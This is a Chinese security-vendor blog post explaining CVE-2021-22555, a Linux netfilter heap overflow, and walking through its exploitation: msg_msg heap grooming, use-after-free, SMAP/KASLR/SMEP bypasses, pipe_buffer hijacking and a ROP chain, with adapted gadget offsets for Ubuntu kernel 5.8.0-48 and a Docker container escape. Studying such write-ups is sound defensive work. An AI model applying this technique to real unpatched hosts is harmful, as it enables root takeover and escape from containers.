青藤云安全

CVE-2021-22555:Linux 内核提权导致 Docker 逃逸

发布日期:2022-07-27

前言

这篇文章基本算是对作者Andy Nguyen文章的翻译,加上了一些自己的理解,希望能给大家带来一些帮助。

1.漏洞概述

项目 详情

名称 Linux内核堆越界写漏洞

简介 攻击者通过构造Exploit可实现本地提权

影响边界版本 Linux Kernel : v2.6.19-rc1 to v5.12-rc8

编号 CVE-2021-22555

2.漏洞环境

Ubuntu 20.04 

Linux Kernel : 5.8.0-48-generic

3.漏洞原理分析

漏洞发生在net/netfilter/x_tables.c中的xt_compat_target_from_user函数内

void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
                unsigned int *size)
{
    const struct xt_target *target = t->u.kernel.target;
    struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
    int pad, off = xt_compat_target_offset(target);
    u_int16_t tsize = ct->u.user.target_size;
    char name[sizeof(t->u.user.name)];

    t = *dstptr;
    memcpy(t, ct, sizeof(*ct));
    if (target->compat_from_user)
        target->compat_from_user(t->data, ct->data);
    else
        memcpy(t->data, ct->data, tsize - sizeof(*ct));
    pad = XT_ALIGN(target->targetsize) - target->targetsize;
    if (pad > 0)
        memset(t->data + target->targetsize, 0, pad);

    tsize += off;
    t->u.user.target_size = tsize;
    strlcpy(name, target->name, sizeof(name));
    module_put(target->me);
    strncpy(t->u.user.name, name, sizeof(t->u.user.name));

    *size += off;
    *dstptr += tsize;
}

这一句 memset(t->data + target->targetsize, 0, pad); 中,target->targetsize的大小没有做校验,可能会导致对t->data越界写入0字节。

其中target->targetsize的大小不能直接控制,是和具体的target关联的,例如:

// net/netfilter/x_NFLOG.c
static struct xt_target nflog_tg_reg __read_mostly = {
    .name       = "NFLOG",
    .revision   = 0,
    .family     = NFPROTO_UNSPEC,
    .checkentry = nflog_tg_check,
    .destroy    = nflog_tg_destroy,
    .target     = nflog_tg,
    .targetsize = sizeof(struct xt_nflog_info),
    .me         = THIS_MODULE,
};

// net/netfilter/x_NFQUEUE.c
static struct xt_target nfqueue_tg_reg[] __read_mostly = {
    {
        .name       = "NFQUEUE",
        .family     = NFPROTO_UNSPEC,
        .target     = nfqueue_tg,
        .targetsize = sizeof(struct xt_NFQ_info),
        .me     = THIS_MODULE,
    },
    {
        .name       = "NFQUEUE",
        .revision   = 1,
        .family     = NFPROTO_UNSPEC,
        .checkentry = nfqueue_tg_check,
        .target     = nfqueue_tg_v1,
        .targetsize = sizeof(struct xt_NFQ_info_v1),
        .me     = THIS_MODULE,
    },
    {
        .name       = "NFQUEUE",
        .revision   = 2,
        .family     = NFPROTO_UNSPEC,
        .checkentry = nfqueue_tg_check,
        .target     = nfqueue_tg_v2,
        .targetsize = sizeof(struct xt_NFQ_info_v2),
        .me     = THIS_MODULE,
    },
    {
        .name       = "NFQUEUE",
        .revision   = 3,
        .family     = NFPROTO_UNSPEC,
        .checkentry = nfqueue_tg_check,
        .target     = nfqueue_tg_v3,
        .targetsize = sizeof(struct xt_NFQ_info_v3),
        .me     = THIS_MODULE,
    },
};

然后t->data是从系统堆中利用函数xt_alloc_table_info分配而来的

// net/netfilter/x_tables.c
struct xt_table_info *xt_alloc_table_info(unsigned int size)
{
    struct xt_table_info *info = NULL;
    size_t sz = sizeof(*info) + size;

    if (sz < sizeof(*info) || sz >= XT_MAX_TABLE_SIZE)
        return NULL;

    info = kvmalloc(sz, GFP_KERNEL_ACCOUNT);
    if (!info)
        return NULL;

    memset(info, 0, sizeof(*info));
    info->size = size;
    return info;
}

而t->data的size是用户可控的,例如以下其中一个调用xt_alloc_table_info的地方

static int
compat_do_replace(struct net *net, void __user *user, unsigned int len)
{
    int ret;
    struct compat_ipt_replace tmp;
    struct xt_table_info *newinfo;
    void *loc_cpu_entry;
    struct ipt_entry *iter;

    if (copy_from_user(&tmp, user, sizeof(tmp)) != 0) //size是用户可控的
        return -EFAULT;

    /* overflow check */
    if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters))
        return -ENOMEM;
    if (tmp.num_counters == 0)
        return -EINVAL;

    tmp.name[sizeof(tmp.name)-1] = 0;

    newinfo = xt_alloc_table_info(tmp.size); //size是用户可控的
    ......
}

t->data怎么指向堆块的末尾呢

static void
compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr,
			    unsigned int *size,
			    struct xt_table_info *newinfo, unsigned char *base)
{
	struct xt_entry_target *t;
	struct ipt_entry *de;
	unsigned int origsize;
	int h;
	struct xt_entry_match *ematch;

	origsize = *size;
	de = *dstptr;
	memcpy(de, e, sizeof(struct ipt_entry));
	memcpy(&de->counters, &e->counters, sizeof(e->counters));

	*dstptr += sizeof(struct ipt_entry);
	*size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry);

	xt_ematch_foreach(ematch, e)
		xt_compat_match_from_user(ematch, dstptr, size);

	de->target_offset = e->target_offset - (origsize - *size);
	t = compat_ipt_get_target(e);
	xt_compat_target_from_user(t, dstptr, size);

	de->next_offset = e->next_offset - (origsize - *size);

	for (h = 0; h < NF_INET_NUMHOOKS; h++) {
		if ((unsigned char *)de - base < newinfo->hook_entry[h])
			newinfo->hook_entry[h] -= origsize - *size;
		if ((unsigned char *)de - base < newinfo->underflow[h])
			newinfo->underflow[h] -= origsize - *size;
	}
}

从上面的代码可以看到:

首先*dstptr += sizeof(struct ipt_entry)这一段代码会将t->data稍微朝堆块末尾靠近

之后会调用xt_compat_match_from_user(ematch, dstptr, size);

void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,
			       unsigned int *size)
{
	const struct xt_match *match = m->u.kernel.match;
	struct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m;
	int pad, off = xt_compat_match_offset(match);
	u_int16_t msize = cm->u.user.match_size;
	char name[sizeof(m->u.user.name)];

	m = *dstptr;
	memcpy(m, cm, sizeof(*cm));
	if (match->compat_from_user)
		match->compat_from_user(m->data, cm->data);
	else
		memcpy(m->data, cm->data, msize - sizeof(*cm));
	pad = XT_ALIGN(match->matchsize) - match->matchsize;
	if (pad > 0)
		memset(m->data + match->matchsize, 0, pad);

	msize += off;
	m->u.user.match_size = msize;
	strlcpy(name, match->name, sizeof(name));
	module_put(match->me);
	strncpy(m->u.user.name, name, sizeof(m->u.user.name));

	*size += off;
	*dstptr += msize;
}

xt_compat_match_from_user函数内部也会用*dstptr += msize;这一段代码将t->data稍微朝堆块末尾靠近,而msize是可以通过在用户层精心构造数据来控制的。

所以可以将t->data指向堆块末尾,之后就可以利用越界写漏洞写到下一个堆块内容。

4.漏洞利用

4.1 struct msg_msg

结构体struct msg_msg的第一个成员struct list_head m_list; 代表的是当前struct msg_msg结构体上一个和下一个struct msg_msg结构体,如下

// include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;
    void *security;
    /* the actual message follows immediately */
};

// include/linux/types.h
struct list_head {
    struct list_head *next, *prev;
};

// ipc/msgutil.c
struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};

struct msg_msg 由 ipc/msgutil.c中的msgsnd系统调调用进行分配

static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    alen = min(len, DATALEN_MSG);
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;

    msg->next = NULL;
    msg->security = NULL;

    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;

        cond_resched();

        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }

    return msg;

out_err:
    free_msg(msg);
    return NULL;
}

len就是struct msg_msg的数据大小

4.2 制造UAF

首先,使用 msgget() 初始化了很多消息队列。

然后,使用msgsnd() 为每个消息队列发送一条大小为 4096的消息。

最终,在发送大量消息之后,这样消息队列中的一些struct msg_msg结构体在堆块中是连续的:

接下来,使用msgsnd为每个消息队列发送一条大小为 1024的消息,这条1024大小的消息会链在4096大小的消息中,保存在 struct msg_msg 的成员 struct list_head m_list 中

之后调用msgrcv 将一部分 4096的消息读取,这样就会释放他们占用的struct msg_msg结构体堆块

最后,调用xt_alloc_table_info函数将上一步被释放的4096堆块申请回来。

理想情况是我们用xt_alloc_table_info申请回来的4096堆块下方有一块没有被释放的struct msg_msg结构体 A ,这样就可以利用越界写漏洞将struct msg_msg A指向下一个结构体成员m_list.next最后几个字节覆盖为0

这样会有几率出现一种情况,有两个4096的struct msg_msg结构体指向同一个1024的struct msg_msg B,这个1024的struct msg_msg B地址最后几个字节为0.

这样一来,释放完1024的struct msg_msg B,它还会在另一个4096的struct msg_msg结构体存在引用,就完成了制造UAF。

怎么确认哪个struct msg_msg B被双重引用了呢?

作者Andy Nguyen是这样做的:

在发生消息的时候,往消息里带一些特征,比如第一个消息带数字1,比如第4096个消息带数字4096。

在越界写漏洞发生后,遍历每一个消息队列,如果第index个消息队列里的struct msg_msg B带的特征不是index,就说明它不属于这个消息队列,意味着它是被双重引用了。

4.3 绕过SMAP

现在struct msg_msg B被双重引用了,先利用它的一个引用将struct msg_msg B释放,另一个引用struct msg_msg B的地方依然可控。

现在利用socketpair函数进行堆喷,喷射大量大小为 1024 的消息并制造一个fake struct msg_msg结构体。理想情况下,我们能够收回被释放struct msg_msg B堆块

需要利用这个fake struct msg_msg来泄露fake struct msg_msg的堆地址,以便在之后布置rop链时可以知道我们rop链所在的内核堆地址,这可以帮助我们绕过SMAP.

具体来说,fake struct msg_msg的内容我们完全可控,可以利用copy_msg函数进行数据泄露

// ipc/msgutil.c
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    struct msg_msgseg *dst_pseg, *src_pseg;
    size_t len = src->m_ts;
    size_t alen;

    if (src->m_ts > dst->m_ts)
        return ERR_PTR(-EINVAL);

    alen = min(len, DATALEN_MSG);
    memcpy(dst + 1, src + 1, alen);

    ...
    return dst;
}

fake struct msg_msg实际的堆块大小是1024,现在我们可以设置fake struct msg_msg的结构体成员m_ts大于DATALEN_MSG(4096 - sizeof(struct msg_msg)),这样一来调用copy_msg函数的时候,会将DATALEN_MSG大小的数据返回用户层。

意味着我们可以将fake struct msg_msg后面的堆块数据泄露。

fake struct msg_msg后面的堆块是一个相邻的1024大小的struct msg_msg C,struct msg_msg C的m_list.next指向与它在同一消息队列的4096大小的struct msg_msg D;

在越界读取了struct msg_msg D地址之后,将fake struct msg_msg 的m_list.next通过再释放再堆喷设置为struct msg_msg D;

之后通过struct msg_msg D读取struct msg_msg D的m_list.next;

struct msg_msg D的m_list.next执行一个1024的struct msg_msg C;

现在可以利用泄露的struct msg_msg C的地址计算出fake struct msg_msg的堆地址。

我们知道了它的内核堆地址,之后就可以计算出我们rop链所在的内核堆地址,就可以绕过SMAP了。

4.4 升级UAF

在利用消息队列释放struct msg_msg结构体时,需要保证mlist成员的值是合法的,这存在很大的限制,不能释放任意对象。

现在我们有两个引用指向fake struct msg_msg,一个是消息队列,一个是socketpair函数堆喷的对象sk_buff。

上面说过利用利用消息队列释放堆块存在限制,而利用sk_buff对象释放则不存在限制,而我们之前是用sk_buff对象来释放,消息队列来使用,现在我们需要转变一下,用消息队列来释放,sk_buff对象来使用。

首先利用已经泄露的堆地址将fake struct msg_msg的mlist成员指向自己,这样就可以利用消息队列来释放fake struct msg_msg,之后sk_buff对象会保留一份fake struct msg_msg堆块的引用。

这个堆块到这里就和struct msg_msg没有关系了,给它改名为1024 Heap_A。

4.5 一个带有函数指针的对象

根据上面的步骤一路走来,我们现在有一个socketpair函数分配的sk_buff对象可以引用一个被释放的大小为1024的堆块Heap_A。我们现在需要找到一个1024大小的结构体里面有函数指针,这样可以在之后泄露函数指针计算kernel base,进一步覆盖函数指针控制RIP.

作者Andy Nguyen使用的结构体是struct pipe_buffer

// include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    ...
    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
    ...
};

这个结构体的大小正是1024,可以看到它的成员中有一个const struct pipe_buf_operations *ops,这是一个指向函数指针列表的对象指针,满足条件。

struct pipe_buffer是由pipe()函数进行分配的,pipe()内部会调用有alloc_pipe_info()函数

// fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
    ...
    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
    ...
    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
    if (pipe == NULL)
        goto out_free_uid;
    ...
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);
    ...
}

4.6 绕过KASLR

在调用函数pipe()申请struct pipe_buffer时,内核代码会自动将struct pipe_buffer的成员const struct pipe_buf_operations *ops初始化为以下结构

// fs/pipe.c
static const struct pipe_buf_operations anon_pipe_buf_ops = {
    .release    = anon_pipe_buf_release,
    .try_steal  = anon_pipe_buf_try_steal,
    .get        = generic_pipe_buf_get,
};

这个结构是全局变量,保存在内核的.data段,因为.data和.text段之间的偏移固定,我们可以通过泄露.data段的地址进而计算.text及内核程序代码基地址。

首先调用大量pipe()函数将空闲的大小为1024的堆块Heap_A申请回来,内核会初始化struct pipe_buffer的成员const struct pipe_buf_operations *ops为anon_pipe_buf_ops;

4.7 绕过SMEP以及权限提升

现在万事大吉,开始控制程序执行流。

利用socketpair函数将Heap_A堆块即struct pipe_buffer的成员const struct pipe_buf_operations *ops修改为一个我们内容可控的内核堆地址,ops中有一个名为release的函数,它会在pipe关闭时调用,我们将它覆盖为rop链的初始gadget.

在一个我们内容可控的内核堆地址上面布置rop链,rop链实现的功能即关闭SMEP以及调用commit_creds(prepare_kernel_cred(0))进行提权。

最后关闭pipe触发release。

一个我们内容可控的内核堆地址:在之前的布置里我们已经泄露出了内核堆地址即Heap_A的地址,Heap_A有1024大小,我们可以在适当的地方放置假的ops和布置rop链。

4.8 容器逃逸

4.8.1 环境搭建

Ubuntu 20.10 
内核版本 : 5.8.0-48-generic
Docker : 20.10.7

可通过以下命令安装内核:

 sudo apt-get install linux-image-5.8.0-48-generic

Linux内核调试环境搭建以及最新版Docker安装可参考历史文章:

利用Linux内核漏洞实现Docker逃逸

通过以下命令新建并启动容器

docker run -it --cap-add NET_ADMIN --name=docker_escape ubuntu:latest /bin/bash

这里需要添加NET_ADMIN权限,不然无法进入漏洞代码。

4.8.2 EXP适配

作者Andy Nguyen提供的exp在本环境下并不能直接提权成功,需要适配相关ROP链,这里给出部分代码

#elif KERNEL_UBUNTU_5_8_0_48_Ubuntu_20_10

// 0xffffffff8171562f : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x71562f
// 0xffffffff811bbf3e : pop rsp ; ret
#define POP_RSP_RET 0x1bbf3e
// 0xffffffff81070789 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x70789

// 0xffffffff811a9910 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1a9910
// 0xffffffff81088773 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x88773
// 0xffffffff816d302f : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6d302f
// 0xffffffff8108ce7c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x8ce7c

// 0xffffffff811c2b83 : pop rcx ; ret
#define POP_RCX_RET 0x1c2b83
// 0xffffffff811038ee : pop rsi ; ret
#define POP_RSI_RET 0x1038ee
// 0xffffffff8107fe3d : pop rdi ; ret
#define POP_RDI_RET 0x7fe3d
// 0xffffffff810005c7 : pop rbp ; ret
#define POP_RBP_RET 0x5c7

// 0xffffffff815785b7 : mov rdi, rax ; jne 0xffffffff815785a4 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x5785b7
// 0xffffffff810757ab : cmp rcx, 4 ; jne 0xffffffff81075789 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x757ab

#define FIND_TASK_BY_VPID 0xc3910
#define SWITCH_TASK_NAMESPACES 0xcb860
#define COMMIT_CREDS 0xccd70
#define PREPARE_KERNEL_CRED 0xccfd0
#define INIT_NSPROXY 0x1a63080

#define ANON_PIPE_BUF_OPS 0x105ec80

适配成功后可提权成功

4.8.3 Docker容器逃逸

从作者Andy Nguyen的视频可以得知,原EXP在Container-Optimized OS 5.4.89 系统上可容器逃逸成功。

在本文中的环境下容器逃逸失败

所以需要在作者的EXP基础上进行修改,适配本文的环境

鉴于新版本的Linux内核不能直接修改CR4寄存器绕过SMAP,SMEP,所以我们利用rop链替换fs_struct结构和namespace。

最终实现容器逃逸:

5.参考链接

https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html CVE-2021-22555:将 \x00\x00 变成 $10000

https://blog.csdn.net/guoping16/article/details/6584024 消息队列函数(msgget、msgctl、msgsnd、msgrcv)及其范例

为1000+大型客户,800万+台服务器
提供稳定高效的安全防护

预约演示 联系我们
电话咨询
售前业务咨询
400-800-0789转1
售后业务咨询
400-800-0789转2
复制成功
在线咨询
扫码咨询
扫码咨询
预约演示 下载资料